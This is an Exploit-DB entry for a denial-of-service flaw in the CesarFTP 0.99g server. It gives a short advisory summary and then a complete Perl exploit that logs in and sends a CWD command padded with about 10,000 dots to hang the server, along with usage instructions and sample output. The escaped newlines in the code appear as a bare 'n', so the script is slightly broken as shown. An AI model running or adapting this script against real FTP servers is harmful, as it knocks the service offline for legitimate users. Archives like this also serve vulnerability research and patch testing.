https://www.exploit-db.com/exploits/22789

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7950/info

A vulnerability has been reported for CesarFTP. Reportedly, an attacker may crash a target server by supplying excessive data as the argument to the 'CWD' command. This may result in the server hanging, effectively denying service to other legitimate FTP users. 

#!/usr/bin/perl -w
use IO::Socket;

########################################
#            _   _
#      ____ (_) | |__
#     |_  / | | | '_ 
#      / /  | | | |_) |
#     /___| |_| |_.__/
#
#   http://coding.romainl.com/
#
########################################
##
########################################
## tested on CesarFTP 0.99g + WindowsXP Sp1
##
## server : 127.0.0.1
## user   : zib
## pass   : zib
##
##$ perl expl.pl localhost zib zib
##
##server : localhost
##user   : zib
##pass   : zib
##
##[~] prepare to connect...
##[+] connected
##[~] prepare to send data...
##[+] success
##[~] Send CPU Overload Sequence...
##[+] CPU Overload Sequence sent
##$
########################################

if (@ARGV < 3)
{
print "#############################################################n";
print " CesarFTP 0.99g : CPU Overloadn";
print " by zib  http://coding.romainl.com/ n";
print " 22/12/03n";
print "#############################################################n";
print " Usage:n";
print " cesar0.99g_dos.pl <host> <user> <pass>n";
print "n";
print " <host> - host for attackn";
print " <user> - a valid ftp user account, could be anonymousn";
print " <pass> - pass for the loginn";
print "#############################################################";
exit();
}

$server = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$nb   = 10000;

print "n";
print "server : $servern";
print "user   : $usern";
print "pass   : $passn";
print "n";
$i = 0;
print "[~] prepare to connect...n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort

=> "21") ||
die "[-] connect failedn";
print "[+] connectedn";
print "[~] prepare to send data...n";
print $socket "USER $usern";
print $socket "PASS $passn";
print "[+] successn";
print "[~] Send CPU Overload Sequence...n";
print $socket "CWD ";
for($i=0;$i<=$nb;$i=$i+1)
{
 print $socket ".";
}
 print $socket "n";

print "[+] CPU Overload Sequence sentn";